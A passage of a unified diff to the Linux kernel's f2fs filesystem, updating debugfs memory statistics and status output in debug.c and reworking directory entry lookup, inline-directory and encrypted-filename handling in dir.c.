(sbi->segs_per_sec > 1) - si->base_mem += TOTAL_SECS(sbi) * sizeof(struct sec_entry); + si->base_mem += MAIN_SECS(sbi) * sizeof(struct sec_entry); si->base_mem += __bitmap_size(sbi, SIT_BITMAP); /* build free segmap */ si->base_mem += sizeof(struct free_segmap_info); - si->base_mem += f2fs_bitmap_size(TOTAL_SEGS(sbi)); - si->base_mem += f2fs_bitmap_size(TOTAL_SECS(sbi)); + si->base_mem += f2fs_bitmap_size(MAIN_SEGS(sbi)); + si->base_mem += f2fs_bitmap_size(MAIN_SECS(sbi)); /* build curseg */ si->base_mem += sizeof(struct curseg_info) * NR_CURSEG_TYPE; @@ -151,36 +165,52 @@ static void update_mem_info(struct f2fs_sb_info *sbi) /* build dirty segmap */ si->base_mem += sizeof(struct dirty_seglist_info); - si->base_mem += NR_DIRTY_TYPE * f2fs_bitmap_size(TOTAL_SEGS(sbi)); - si->base_mem += f2fs_bitmap_size(TOTAL_SECS(sbi)); + si->base_mem += NR_DIRTY_TYPE * f2fs_bitmap_size(MAIN_SEGS(sbi)); + si->base_mem += f2fs_bitmap_size(MAIN_SECS(sbi)); - /* buld nm */ + /* build nm */ si->base_mem += sizeof(struct f2fs_nm_info); si->base_mem += __bitmap_size(sbi, NAT_BITMAP); +get_cache: + si->cache_mem = 0; + /* build gc */ - si->base_mem += sizeof(struct f2fs_gc_kthread); + if (sbi->gc_thread) + si->cache_mem += sizeof(struct f2fs_gc_kthread); + + /* build merge flush thread */ + if (SM_I(sbi)->cmd_control_info) + si->cache_mem += sizeof(struct flush_cmd_control); -get_cache: /* free nids */ - si->cache_mem = NM_I(sbi)->fcnt; - si->cache_mem += NM_I(sbi)->nat_cnt; - npages = sbi->node_inode->i_mapping->nrpages; - si->cache_mem += npages << PAGE_CACHE_SHIFT; - npages = sbi->meta_inode->i_mapping->nrpages; - si->cache_mem += npages << PAGE_CACHE_SHIFT; - si->cache_mem += sbi->n_orphans * sizeof(struct orphan_inode_entry); - si->cache_mem += sbi->n_dirty_dirs * sizeof(struct dir_inode_entry); + si->cache_mem += NM_I(sbi)->fcnt * sizeof(struct free_nid); + si->cache_mem += NM_I(sbi)->nat_cnt * sizeof(struct nat_entry); + si->cache_mem += NM_I(sbi)->dirty_nat_cnt * + sizeof(struct nat_entry_set); + si->cache_mem += si->inmem_pages * sizeof(struct inmem_pages); + si->cache_mem += sbi->n_dirty_dirs * sizeof(struct inode_entry); + for (i = 0; i <= UPDATE_INO; i++) + si->cache_mem += sbi->im[i].ino_num * sizeof(struct ino_entry); + si->cache_mem += sbi->total_ext_tree * sizeof(struct extent_tree); + si->cache_mem += atomic_read(&sbi->total_ext_node) * + sizeof(struct extent_node); + + si->page_mem = 0; + npages = NODE_MAPPING(sbi)->nrpages; + si->page_mem += (unsigned long long)npages << PAGE_CACHE_SHIFT; + npages = META_MAPPING(sbi)->nrpages; + si->page_mem += (unsigned long long)npages << PAGE_CACHE_SHIFT; } static int stat_show(struct seq_file *s, void *v) { - struct f2fs_stat_info *si, *next; + struct f2fs_stat_info *si; int i = 0; int j; mutex_lock(&f2fs_stat_mutex); - list_for_each_entry_safe(si, next, &f2fs_stat_list, stat_list) { + list_for_each_entry(si, &f2fs_stat_list, stat_list) { char devname[BDEVNAME_SIZE]; update_general_status(si->sbi); @@ -200,6 +230,12 @@ static int stat_show(struct seq_file *s, void *v) seq_printf(s, "Other: %u)\n - Data: %u\n", si->valid_node_count - si->valid_inode_count, si->valid_count - si->valid_node_count); + seq_printf(s, " - Inline_xattr Inode: %u\n", + si->inline_xattr); + seq_printf(s, " - Inline_data Inode: %u\n", + si->inline_inode); + seq_printf(s, " - Inline_dentry Inode: %u\n", + si->inline_dir); seq_printf(s, "\nMain area: %d segs, %d secs %d zones\n", si->main_area_segs, si->main_area_sections, si->main_area_zones); @@ -233,41 +269,58 @@ static int stat_show(struct seq_file *s, void *v) si->dirty_count); seq_printf(s, " - Prefree: %d\n - Free: %d (%d)\n\n", si->prefree_count, si->free_segs, si->free_secs); + seq_printf(s, "CP calls: %d\n", si->cp_count); seq_printf(s, "GC calls: %d (BG: %d)\n", si->call_count, si->bg_gc); - seq_printf(s, " - data segments : %d\n", si->data_segs); - seq_printf(s, " - node segments : %d\n", si->node_segs); - seq_printf(s, "Try to move %d blocks\n", si->tot_blks); - seq_printf(s, " - data blocks : %d\n", si->data_blks); - seq_printf(s, " - node blocks : %d\n", si->node_blks); - seq_printf(s, "\nExtent Hit Ratio: %d / %d\n", - si->hit_ext, si->total_ext); - seq_printf(s, "\nBalancing F2FS Async:\n"); - seq_printf(s, " - nodes %4d in %4d\n", + seq_printf(s, " - data segments : %d (%d)\n", + si->data_segs, si->bg_data_segs); + seq_printf(s, " - node segments : %d (%d)\n", + si->node_segs, si->bg_node_segs); + seq_printf(s, "Try to move %d blocks (BG: %d)\n", si->tot_blks, + si->bg_data_blks + si->bg_node_blks); + seq_printf(s, " - data blocks : %d (%d)\n", si->data_blks, + si->bg_data_blks); + seq_printf(s, " - node blocks : %d (%d)\n", si->node_blks, + si->bg_node_blks); + seq_puts(s, "\nExtent Cache:\n"); + seq_printf(s, " - Hit Count: L1-1:%llu L1-2:%llu L2:%llu\n", + si->hit_largest, si->hit_cached, + si->hit_rbtree); + seq_printf(s, " - Hit Ratio: %llu%% (%llu / %llu)\n", + !si->total_ext ? 0 : + div64_u64(si->hit_total * 100, si->total_ext), + si->hit_total, si->total_ext); + seq_printf(s, " - Inner Struct Count: tree: %d, node: %d\n", + si->ext_tree, si->ext_node); + seq_puts(s, "\nBalancing F2FS Async:\n"); + seq_printf(s, " - inmem: %4d, wb: %4d\n", + si->inmem_pages, si->wb_pages); + seq_printf(s, " - nodes: %4d in %4d\n", si->ndirty_node, si->node_pages); - seq_printf(s, " - dents %4d in dirs:%4d\n", + seq_printf(s, " - dents: %4d in dirs:%4d\n", si->ndirty_dent, si->ndirty_dirs); - seq_printf(s, " - meta %4d in %4d\n", + seq_printf(s, " - meta: %4d in %4d\n", si->ndirty_meta, si->meta_pages); - seq_printf(s, " - NATs %5d > %lu\n", - si->nats, NM_WOUT_THRESHOLD); - seq_printf(s, " - SITs: %5d\n - free_nids: %5d\n", - si->sits, si->fnids); - seq_printf(s, "\nDistribution of User Blocks:"); - seq_printf(s, " [ valid | invalid | free ]\n"); - seq_printf(s, " ["); + seq_printf(s, " - NATs: %9d/%9d\n - SITs: %9d/%9d\n", + si->dirty_nats, si->nats, si->dirty_sits, si->sits); + seq_printf(s, " - free_nids: %9d\n", + si->fnids); + seq_puts(s, "\nDistribution of User Blocks:"); + seq_puts(s, " [ valid | invalid | free ]\n"); + seq_puts(s, " ["); for (j = 0; j < si->util_valid; j++) - seq_printf(s, "-"); - seq_printf(s, "|"); + seq_putc(s, '-'); + seq_putc(s, '|'); for (j = 0; j < si->util_invalid; j++) - seq_printf(s, "-"); - seq_printf(s, "|"); + seq_putc(s, '-'); + seq_putc(s, '|'); for (j = 0; j < si->util_free; j++) - seq_printf(s, "-"); - seq_printf(s, "]\n\n"); + seq_putc(s, '-'); + seq_puts(s, "]\n\n"); + seq_printf(s, "IPU: %u blocks\n", si->inplace_count); seq_printf(s, "SSR: %u blocks in %u segments\n", si->block_count[SSR], si->segment_count[SSR]); seq_printf(s, "LFS: %u blocks in %u segments\n", @@ -280,9 +333,14 @@ static int stat_show(struct seq_file *s, void *v) /* memory footprint */ update_mem_info(si->sbi); - seq_printf(s, "\nMemory: %u KB = static: %u + cached: %u\n", - (si->base_mem + si->cache_mem) >> 10, - si->base_mem >> 10, si->cache_mem >> 10); + seq_printf(s, "\nMemory: %llu KB\n", + (si->base_mem + si->cache_mem + si->page_mem) >> 10); + seq_printf(s, " - static: %llu KB\n", + si->base_mem >> 10); + seq_printf(s, " - cached: %llu KB\n", + si->cache_mem >> 10); + seq_printf(s, " - paged : %llu KB\n", + si->page_mem >> 10); } mutex_unlock(&f2fs_stat_mutex); return 0; @@ -305,11 +363,10 @@ int f2fs_build_stats(struct f2fs_sb_info *sbi) struct f2fs_super_block *raw_super = F2FS_RAW_SUPER(sbi); struct f2fs_stat_info *si; - sbi->stat_info = kzalloc(sizeof(struct f2fs_stat_info), GFP_KERNEL); - if (!sbi->stat_info) + si = kzalloc(sizeof(struct f2fs_stat_info), GFP_KERNEL); + if (!si) return -ENOMEM; - si = sbi->stat_info; si->all_area_segs = le32_to_cpu(raw_super->segment_count); si->sit_area_segs = le32_to_cpu(raw_super->segment_count_sit); si->nat_area_segs = le32_to_cpu(raw_super->segment_count_nat); @@ -319,6 +376,17 @@ int f2fs_build_stats(struct f2fs_sb_info *sbi) si->main_area_zones = si->main_area_sections / le32_to_cpu(raw_super->secs_per_zone); si->sbi = sbi; + sbi->stat_info = si; + + atomic64_set(&sbi->total_hit_ext, 0); + atomic64_set(&sbi->read_hit_rbtree, 0); + atomic64_set(&sbi->read_hit_largest, 0); + atomic64_set(&sbi->read_hit_cached, 0); + + atomic_set(&sbi->inline_xattr, 0); + atomic_set(&sbi->inline_inode, 0); + atomic_set(&sbi->inline_dir, 0); + atomic_set(&sbi->inplace_count, 0); mutex_lock(&f2fs_stat_mutex); list_add_tail(&si->stat_list, &f2fs_stat_list); @@ -329,25 +397,36 @@ int f2fs_build_stats(struct f2fs_sb_info *sbi) void f2fs_destroy_stats(struct f2fs_sb_info *sbi) { - struct f2fs_stat_info *si = sbi->stat_info; + struct f2fs_stat_info *si = F2FS_STAT(sbi); mutex_lock(&f2fs_stat_mutex); list_del(&si->stat_list); mutex_unlock(&f2fs_stat_mutex); - kfree(sbi->stat_info); + kfree(si); } void __init f2fs_create_root_stats(void) { - debugfs_root = debugfs_create_dir("f2fs", NULL); - if (debugfs_root) - debugfs_create_file("status", S_IRUGO, debugfs_root, - NULL, &stat_fops); + struct dentry *file; + + f2fs_debugfs_root = debugfs_create_dir("f2fs", NULL); + if (!f2fs_debugfs_root) + return; + + file = debugfs_create_file("status", S_IRUGO, f2fs_debugfs_root, + NULL, &stat_fops); + if (!file) { + debugfs_remove(f2fs_debugfs_root); + f2fs_debugfs_root = NULL; + } } void f2fs_destroy_root_stats(void) { - debugfs_remove_recursive(debugfs_root); - debugfs_root = NULL; + if (!f2fs_debugfs_root) + return; + + debugfs_remove_recursive(f2fs_debugfs_root); + f2fs_debugfs_root = NULL; } diff --git a/fs/f2fs/dir.c b/fs/f2fs/dir.c index 1ac6b93036b7a..df3bad65adcd5 100644 --- a/fs/f2fs/dir.c +++ b/fs/f2fs/dir.c @@ -9,10 +9,12 @@ * published by the Free Software Foundation. */ #include +#include #include #include "f2fs.h" #include "node.h" #include "acl.h" +#include "xattr.h" static unsigned long dir_blocks(struct inode *inode) { @@ -20,12 +22,12 @@ static unsigned long dir_blocks(struct inode *inode) >> PAGE_CACHE_SHIFT; } -static unsigned int dir_buckets(unsigned int level) +static unsigned int dir_buckets(unsigned int level, int dir_level) { - if (level < MAX_DIR_HASH_DEPTH / 2) - return 1 << level; + if (level + dir_level < MAX_DIR_HASH_DEPTH / 2) + return 1 << (level + dir_level); else - return 1 << ((MAX_DIR_HASH_DEPTH / 2) - 1); + return MAX_DIR_BUCKETS; } static unsigned int bucket_blocks(unsigned int level) @@ -36,7 +38,7 @@ static unsigned int bucket_blocks(unsigned int level) return 4; } -static unsigned char f2fs_filetype_table[F2FS_FT_MAX] = { +unsigned char f2fs_filetype_table[F2FS_FT_MAX] = { [F2FS_FT_UNKNOWN] = DT_UNKNOWN, [F2FS_FT_REG_FILE] = DT_REG, [F2FS_FT_DIR] = DT_DIR, @@ -58,104 +60,139 @@ static unsigned char f2fs_type_by_mode[S_IFMT >> S_SHIFT] = { [S_IFLNK >> S_SHIFT] = F2FS_FT_SYMLINK, }; -static void set_de_type(struct f2fs_dir_entry *de, struct inode *inode) +void set_de_type(struct f2fs_dir_entry *de, umode_t mode) { - umode_t mode = inode->i_mode; de->file_type = f2fs_type_by_mode[(mode & S_IFMT) >> S_SHIFT]; } -static unsigned long dir_block_index(unsigned int level, unsigned int idx) +static unsigned long dir_block_index(unsigned int level, + int dir_level, unsigned int idx) { unsigned long i; unsigned long bidx = 0; for (i = 0; i < level; i++) - bidx += dir_buckets(i) * bucket_blocks(i); + bidx += dir_buckets(i, dir_level) * bucket_blocks(i); bidx += idx * bucket_blocks(level); return bidx; } -static bool early_match_name(const char *name, size_t namelen, - f2fs_hash_t namehash, struct f2fs_dir_entry *de) +static struct f2fs_dir_entry *find_in_block(struct page *dentry_page, + struct f2fs_filename *fname, + f2fs_hash_t namehash, + int *max_slots, + struct page **res_page) { - if (le16_to_cpu(de->name_len) != namelen) - return false; + struct f2fs_dentry_block *dentry_blk; + struct f2fs_dir_entry *de; + struct f2fs_dentry_ptr d; - if (de->hash_code != namehash) - return false; + dentry_blk = (struct f2fs_dentry_block *)kmap(dentry_page); - return true; + make_dentry_ptr(NULL, &d, (void *)dentry_blk, 1); + de = find_target_dentry(fname, namehash, max_slots, &d); + if (de) + *res_page = dentry_page; + else + kunmap(dentry_page); + + /* + * For the most part, it should be a bug when name_len is zero. + * We stop here for figuring out where the bugs has occurred. + */ + f2fs_bug_on(F2FS_P_SB(dentry_page), d.max < 0); + return de; } -static struct f2fs_dir_entry *find_in_block(struct page *dentry_page, - const char *name, size_t namelen, int *max_slots, - f2fs_hash_t namehash, struct page **res_page) +struct f2fs_dir_entry *find_target_dentry(struct f2fs_filename *fname, + f2fs_hash_t namehash, int *max_slots, + struct f2fs_dentry_ptr *d) { struct f2fs_dir_entry *de; - unsigned long bit_pos, end_pos, next_pos; - struct f2fs_dentry_block *dentry_blk = kmap(dentry_page); - int slots; + unsigned long bit_pos = 0; + int max_len = 0; + struct f2fs_str de_name = FSTR_INIT(NULL, 0); + struct f2fs_str *name = &fname->disk_name; + + if (max_slots) + *max_slots = 0; + while (bit_pos < d->max) { + if (!test_bit_le(bit_pos, d->bitmap)) { + bit_pos++; + max_len++; + continue; + } - bit_pos = find_next_bit_le(&dentry_blk->dentry_bitmap, - NR_DENTRY_IN_BLOCK, 0); - while (bit_pos < NR_DENTRY_IN_BLOCK) { - de = &dentry_blk->dentry[bit_pos]; - slots = GET_DENTRY_SLOTS(le16_to_cpu(de->name_len)); - - if (early_match_name(name, namelen, namehash, de)) { - if (!memcmp(dentry_blk->filename[bit_pos], - name, namelen)) { - *res_page = dentry_page; + de = &d->dentry[bit_pos]; + + /* encrypted case */ + de_name.name = d->filename[bit_pos]; + de_name.len = le16_to_cpu(de->name_len); + + /* show encrypted name */ + if (fname->hash) { + if (de->hash_code == fname->hash) goto found; - } + } else if (de_name.len == name->len && + de->hash_code == namehash && + !memcmp(de_name.name, name->name, name->len)) { + goto found; } - next_pos = bit_pos + slots; - bit_pos = find_next_bit_le(&dentry_blk->dentry_bitmap, - NR_DENTRY_IN_BLOCK, next_pos); - if (bit_pos >= NR_DENTRY_IN_BLOCK) - end_pos = NR_DENTRY_IN_BLOCK; - else - end_pos = bit_pos; - if (*max_slots < end_pos - next_pos) - *max_slots = end_pos - next_pos; + + if (max_slots && max_len > *max_slots) + *max_slots = max_len; + max_len = 0; + + /* remain bug on condition */ + if (unlikely(!de->name_len)) + d->max = -1; + + bit_pos += GET_DENTRY_SLOTS(le16_to_cpu(de->name_len)); } de = NULL; - kunmap(dentry_page); found: + if (max_slots && max_len > *max_slots) + *max_slots = max_len; return de; } static struct f2fs_dir_entry *find_in_level(struct inode *dir, - unsigned int level, const char *name, size_t namelen, - f2fs_hash_t namehash, struct page **res_page) + unsigned int level, + struct f2fs_filename *fname, + struct page **res_page) { - int s = GET_DENTRY_SLOTS(namelen); + struct qstr name = FSTR_TO_QSTR(&fname->disk_name); + int s = GET_DENTRY_SLOTS(name.len); unsigned int nbucket, nblock; unsigned int bidx, end_block; struct page *dentry_page; struct f2fs_dir_entry *de = NULL; bool room = false; - int max_slots = 0; + int max_slots; + f2fs_hash_t namehash; - BUG_ON(level > MAX_DIR_HASH_DEPTH); + namehash = f2fs_dentry_hash(&name); - nbucket = dir_buckets(level); + f2fs_bug_on(F2FS_I_SB(dir), level > MAX_DIR_HASH_DEPTH); + + nbucket = dir_buckets(level, F2FS_I(dir)->i_dir_level); nblock = bucket_blocks(level); - bidx = dir_block_index(level, le32_to_cpu(namehash) % nbucket); + bidx = dir_block_index(level, F2FS_I(dir)->i_dir_level, + le32_to_cpu(namehash) % nbucket); end_block = bidx + nblock; for (; bidx < end_block; bidx++) { /* no need to allocate new dentry pages to all the indices */ - dentry_page = find_data_page(dir, bidx, true); + dentry_page = find_data_page(dir, bidx); if (IS_ERR(dentry_page)) { room = true; continue; } - de = find_in_block(dentry_page, name, namelen, - &max_slots, namehash, res_page); + de = find_in_block(dentry_page, fname, namehash, &max_slots, + res_page); if (de) break; @@ -178,48 +215,52 @@ static struct f2fs_dir_entry *find_in_level(struct inode *dir, * and the entry itself. Page is returned mapped and unlocked. * Entry is guaranteed to be valid. */ -struct f2fs_dir_entry *f2fs_find_entry(struct inode *dir, - struct qstr *child, struct page **res_page) +struct f2fs_dir_entry *f2fs_find_entry(struct inode *dir, struct qstr *child, + struct page **res_page) { - const char *name = child->name; - size_t namelen = child->len; unsigned long npages = dir_blocks(dir); struct f2fs_dir_entry *de = NULL; - f2fs_hash_t name_hash; unsigned int max_depth; unsigned int level; + struct f2fs_filename fname; + int err; - if (namelen > F2FS_NAME_LEN) - return NULL; + *res_page = NULL; - if (npages == 0) + err = f2fs_fname_setup_filename(dir, child, 1, &fname); + if (err) return NULL; - *res_page = NULL; + if (f2fs_has_inline_dentry(dir)) { + de = find_in_inline_dir(dir, &fname, res_page); + goto out; + } + + if (npages == 0) + goto out; - name_hash = f2fs_dentry_hash(name, namelen); max_depth = F2FS_I(dir)->i_current_depth; for (level = 0; level < max_depth; level++) { - de = find_in_level(dir, level, name, - namelen, name_hash, res_page); + de = find_in_level(dir, level, &fname, res_page); if (de) break; } - if (!de && F2FS_I(dir)->chash != name_hash) { - F2FS_I(dir)->chash = name_hash; - F2FS_I(dir)->clevel = level - 1; - } +out: + f2fs_fname_free_filename(&fname); return de; } struct f2fs_dir_entry *f2fs_parent_dir(struct inode *dir, struct page **p) { - struct page *page = NULL; - struct f2fs_dir_entry *de = NULL; - struct f2fs_dentry_block *dentry_blk = NULL; + struct page *page; + struct f2fs_dir_entry *de; + struct f2fs_dentry_block *dentry_blk; - page = get_lock_data_page(dir, 0); + if (f2fs_has_inline_dentry(dir)) + return f2fs_parent_inline_dir(dir, p); + + page = get_lock_data_page(dir, 0, false); if (IS_ERR(page)) return NULL; @@ -239,7 +280,7 @@ ino_t f2fs_inode_by_name(struct inode *dir, struct qstr *qstr) de = f2fs_find_entry(dir, qstr, &page); if (de) { res = le32_to_cpu(de->ino); - kunmap(page); + f2fs_dentry_kunmap(dir, page); f2fs_put_page(page, 0); } @@ -249,185 +290,267 @@ ino_t f2fs_inode_by_name(struct inode *dir, struct qstr *qstr) void f2fs_set_link(struct inode *dir, struct f2fs_dir_entry *de, struct page *page, struct inode *inode) { + enum page_type type = f2fs_has_inline_dentry(dir) ? NODE : DATA; lock_page(page); - wait_on_page_writeback(page); + f2fs_wait_on_page_writeback(page, type); de->ino = cpu_to_le32(inode->i_ino); - set_de_type(de, inode); - kunmap(page); + set_de_type(de, inode->i_mode); + f2fs_dentry_kunmap(dir, page); set_page_dirty(page); dir->i_mtime = dir->i_ctime = CURRENT_TIME; mark_inode_dirty(dir); - /* update parent inode number before releasing dentry page */ - F2FS_I(inode)->i_pino = dir->i_ino; - f2fs_put_page(page, 1); } -void init_dent_inode(const struct qstr *name, struct page *ipage) +static void init_dent_inode(const struct qstr *name, struct page *ipage) { - struct f2fs_node *rn; - - if (IS_ERR(ipage)) - return; + struct f2fs_inode *ri; - wait_on_page_writeback(ipage); + f2fs_wait_on_page_writeback(ipage, NODE); /* copy name info. to this inode page */ - rn = (struct f2fs_node *)page_address(ipage); - rn->i.i_namelen = cpu_to_le32(name->len); - memcpy(rn->i.i_name, name->name, name->len); + ri = F2FS_INODE(ipage); + ri->i_namelen = cpu_to_le32(name->len); + memcpy(ri->i_name, name->name, name->len); set_page_dirty(ipage); } -static int make_empty_dir(struct inode *inode, struct inode *parent) +int update_dent_inode(struct inode *inode, struct inode *to, + const struct qstr *name) { - struct page *dentry_page; - struct f2fs_dentry_block *dentry_blk; - struct f2fs_dir_entry *de; - void *kaddr; + struct page *page; - dentry_page = get_new_data_page(inode, 0, true); - if (IS_ERR(dentry_page)) - return PTR_ERR(dentry_page); + if (file_enc_name(to)) + return 0; - kaddr = kmap_atomic(dentry_page); - dentry_blk = (struct f2fs_dentry_block *)kaddr; + page = get_node_page(F2FS_I_SB(inode), inode->i_ino); + if (IS_ERR(page)) + return PTR_ERR(page); - de = &dentry_blk->dentry[0]; + init_dent_inode(name, page); + f2fs_put_page(page, 1); + + return 0; +} + +void do_make_empty_dir(struct inode *inode, struct inode *parent, + struct f2fs_dentry_ptr *d) +{ + struct f2fs_dir_entry *de; + + de = &d->dentry[0]; de->name_len = cpu_to_le16(1); de->hash_code = 0; de->ino = cpu_to_le32(inode->i_ino); - memcpy(dentry_blk->filename[0], ".", 1); - set_de_type(de, inode); + memcpy(d->filename[0], ".", 1); + set_de_type(de, inode->i_mode); - de = &dentry_blk->dentry[1]; + de = &d->dentry[1]; de->hash_code = 0; de->name_len = cpu_to_le16(2); de->ino = cpu_to_le32(parent->i_ino); - memcpy(dentry_blk->filename[1], "..", 2); - set_de_type(de, inode); + memcpy(d->filename[1], "..", 2); + set_de_type(de, parent->i_mode); + + test_and_set_bit_le(0, (void *)d->bitmap); + test_and_set_bit_le(1, (void *)d->bitmap); +} + +static int make_empty_dir(struct inode *inode, + struct inode *parent, struct page *page) +{ + struct page *dentry_page; + struct f2fs_dentry_block *dentry_blk; + struct f2fs_dentry_ptr d; + + if (f2fs_has_inline_dentry(inode)) + return make_empty_inline_dir(inode, parent, page); + + dentry_page = get_new_data_page(inode, page, 0, true); + if (IS_ERR(dentry_page)) + return PTR_ERR(dentry_page); - test_and_set_bit_le(0, &dentry_blk->dentry_bitmap); - test_and_set_bit_le(1, &dentry_blk->dentry_bitmap); - kunmap_atomic(kaddr); + dentry_blk = kmap_atomic(dentry_page); + + make_dentry_ptr(NULL, &d, (void *)dentry_blk, 1); + do_make_empty_dir(inode, parent, &d); + + kunmap_atomic(dentry_blk); set_page_dirty(dentry_page); f2fs_put_page(dentry_page, 1); return 0; } -static int init_inode_metadata(struct inode *inode, - struct inode *dir, const struct qstr *name) +struct page *init_inode_metadata(struct inode *inode, struct inode *dir, + const struct qstr *name, struct page *dpage) { + struct page *page; + int err; + if (is_inode_flag_set(F2FS_I(inode), FI_NEW_INODE)) { - int err; - err = new_inode_page(inode, name); - if (err) - return err; + page = new_inode_page(inode); + if (IS_ERR(page)) + return page; if (S_ISDIR(inode->i_mode)) { - err = make_empty_dir(inode, dir); - if (err) { - remove_inode_page(inode); - return err; - } + err = make_empty_dir(inode, dir, page); + if (err) + goto error; } - err = f2fs_init_acl(inode, dir); - if (err) { - remove_inode_page(inode); - return err; + err = f2fs_init_acl(inode, dir, page, dpage); + if (err) + goto put_error; + + err = f2fs_init_security(inode, dir, name, page); + if (err) + goto put_error; + + if (f2fs_encrypted_inode(dir) && f2fs_may_encrypt(inode)) { + err = f2fs_inherit_context(dir, inode, page); + if (err) + goto put_error; } } else { - struct page *ipage; - ipage = get_node_page(F2FS_SB(dir->i_sb), inode->i_ino); - if (IS_ERR(ipage)) - return PTR_ERR(ipage); - set_cold_node(inode, ipage); - init_dent_inode(name, ipage); - f2fs_put_page(ipage, 1); + page = get_node_page(F2FS_I_SB(dir), inode->i_ino); + if (IS_ERR(page)) + return page; + + set_cold_node(inode, page); } + + if (name) + init_dent_inode(name, page); + + /* + * This file should be checkpointed during fsync. + * We lost i_pino from now on. + */ if (is_inode_flag_set(F2FS_I(inode), FI_INC_LINK)) { + file_lost_pino(inode); + /* + * If link the tmpfile to alias through linkat path, + * we should remove this inode from orphan list. + */ + if (inode->i_nlink == 0) + remove_orphan_inode(F2FS_I_SB(dir), inode->i_ino); inc_nlink(inode); - update_inode_page(inode); } - return 0; + return page; + +put_error: + f2fs_put_page(page, 1); +error: + /* once the failed inode becomes a bad inode, i_mode is S_IFREG */ + truncate_inode_pages(&inode->i_data, 0); + truncate_blocks(inode, 0, false); + remove_dirty_dir_inode(inode); + remove_inode_page(inode); + return ERR_PTR(err); } -static void update_parent_metadata(struct inode *dir, struct inode *inode, +void update_parent_metadata(struct inode *dir, struct inode *inode, unsigned int current_depth) { - bool need_dir_update = false; - - if (is_inode_flag_set(F2FS_I(inode), FI_NEW_INODE)) { + if (inode && is_inode_flag_set(F2FS_I(inode), FI_NEW_INODE)) { if (S_ISDIR(inode->i_mode)) { inc_nlink(dir); - need_dir_update = true; + set_inode_flag(F2FS_I(dir), FI_UPDATE_DIR); } clear_inode_flag(F2FS_I(inode), FI_NEW_INODE); } dir->i_mtime = dir->i_ctime = CURRENT_TIME; + mark_inode_dirty(dir); + if (F2FS_I(dir)->i_current_depth != current_depth) { F2FS_I(dir)->i_current_depth = current_depth; - need_dir_update = true; + set_inode_flag(F2FS_I(dir), FI_UPDATE_DIR); } - if (need_dir_update) - update_inode_page(dir); - else - mark_inode_dirty(dir); - - if (is_inode_flag_set(F2FS_I(inode), FI_INC_LINK)) + if (inode && is_inode_flag_set(F2FS_I(inode), FI_INC_LINK)) clear_inode_flag(F2FS_I(inode), FI_INC_LINK); } -static int room_for_filename(struct f2fs_dentry_block *dentry_blk, int slots) +int room_for_filename(const void *bitmap, int slots, int max_slots) { int bit_start = 0; int zero_start, zero_end; next: - zero_start = find_next_zero_bit_le(&dentry_blk->dentry_bitmap, - NR_DENTRY_IN_BLOCK, - bit_start); - if (zero_start >= NR_DENTRY_IN_BLOCK) - return NR_DENTRY_IN_BLOCK; + zero_start = find_next_zero_bit_le(bitmap, max_slots, bit_start); + if (zero_start >= max_slots) + return max_slots; - zero_end = find_next_bit_le(&dentry_blk->dentry_bitmap, - NR_DENTRY_IN_BLOCK, - zero_start); + zero_end = find_next_bit_le(bitmap, max_slots, zero_start); if (zero_end - zero_start >= slots) return zero_start; bit_start = zero_end + 1; - if (zero_end + 1 >= NR_DENTRY_IN_BLOCK) - return NR_DENTRY_IN_BLOCK; + if (zero_end + 1 >= max_slots) + return max_slots; goto next; } +void f2fs_update_dentry(nid_t ino, umode_t mode, struct f2fs_dentry_ptr *d, + const struct qstr *name, f2fs_hash_t name_hash, + unsigned int bit_pos) +{ + struct f2fs_dir_entry *de; + int slots = GET_DENTRY_SLOTS(name->len); + int i; + + de = &d->dentry[bit_pos]; + de->hash_code = name_hash; + de->name_len = cpu_to_le16(name->len); + memcpy(d->filename[bit_pos], name->name, name->len); + de->ino = cpu_to_le32(ino); + set_de_type(de, mode); + for (i = 0; i < slots; i++) + test_and_set_bit_le(bit_pos + i, (void *)d->bitmap); +} + /* - * Caller should grab and release a mutex by calling mutex_lock_op() and - * mutex_unlock_op(). + * Caller should grab and release a rwsem by calling f2fs_lock_op() and + * f2fs_unlock_op(). */ -int __f2fs_add_link(struct inode *dir, const struct qstr *name, struct inode *inode) +int __f2fs_add_link(struct inode *dir, const struct qstr *name, + struct inode *inode, nid_t ino, umode_t mode) { unsigned int bit_pos; unsigned int level; unsigned int current_depth; unsigned long bidx, block; f2fs_hash_t dentry_hash; - struct f2fs_dir_entry *de; unsigned int nbucket, nblock; - size_t namelen = name->len; struct page *dentry_page = NULL; struct f2fs_dentry_block *dentry_blk = NULL; - int slots = GET_DENTRY_SLOTS(namelen); - int err = 0; - int i; + struct f2fs_dentry_ptr d; + struct page *page = NULL; + struct f2fs_filename fname; + struct qstr new_name; + int slots, err; + + err = f2fs_fname_setup_filename(dir, name, 0, &fname); + if (err) + return err; + + new_name.name = fname_name(&fname); + new_name.len = fname_len(&fname); + + if (f2fs_has_inline_dentry(dir)) { + err = f2fs_add_inline_entry(dir, &new_name, inode, ino, mode); + if (!err || err != -EAGAIN) + goto out; + else + err = 0; + } - dentry_hash = f2fs_dentry_hash(name->name, name->len); level = 0; + slots = GET_DENTRY_SLOTS(new_name.len); + dentry_hash = f2fs_dentry_hash(&new_name); + current_depth = F2FS_I(dir)->i_current_depth; if (F2FS_I(dir)->chash == dentry_hash) { level = F2FS_I(dir)->clevel; @@ -435,25 +558,31 @@ int __f2fs_add_link(struct inode *dir, const struct qstr *name, struct inode *in } start: - if (current_depth == MAX_DIR_HASH_DEPTH) - return -ENOSPC; + if (unlikely(current_depth == MAX_DIR_HASH_DEPTH)) { + err = -ENOSPC; + goto out; + } /* Increase the depth, if required */ if (level == current_depth) ++current_depth; - nbucket = dir_buckets(level); + nbucket = dir_buckets(level, F2FS_I(dir)->i_dir_level); nblock = bucket_blocks(level); - bidx = dir_block_index(level, (le32_to_cpu(dentry_hash) % nbucket)); + bidx = dir_block_index(level, F2FS_I(dir)->i_dir_level, + (le32_to_cpu(dentry_hash) % nbucket)); for (block = bidx; block <= (bidx + nblock - 1); block++) { - dentry_page = get_new_data_page(dir, block, true); - if (IS_ERR(dentry_page)) - return PTR_ERR(dentry_page); + dentry_page = get_new_data_page(dir, NULL, block, true); + if (IS_ERR(dentry_page)) { + err = PTR_ERR(dentry_page); + goto out; + } dentry_blk = kmap(dentry_page); - bit_pos = room_for_filename(dentry_blk, slots); + bit_pos = room_for_filename(&dentry_blk->dentry_bitmap, + slots, NR_DENTRY_IN_BLOCK); if (bit_pos < NR_DENTRY_IN_BLOCK) goto add_dentry; @@ -465,53 +594,117 @@ int __f2fs_add_link(struct inode *dir, const struct qstr *name, struct inode *in ++level; goto start; add_dentry: - err = init_inode_metadata(inode, dir, name); - if (err) 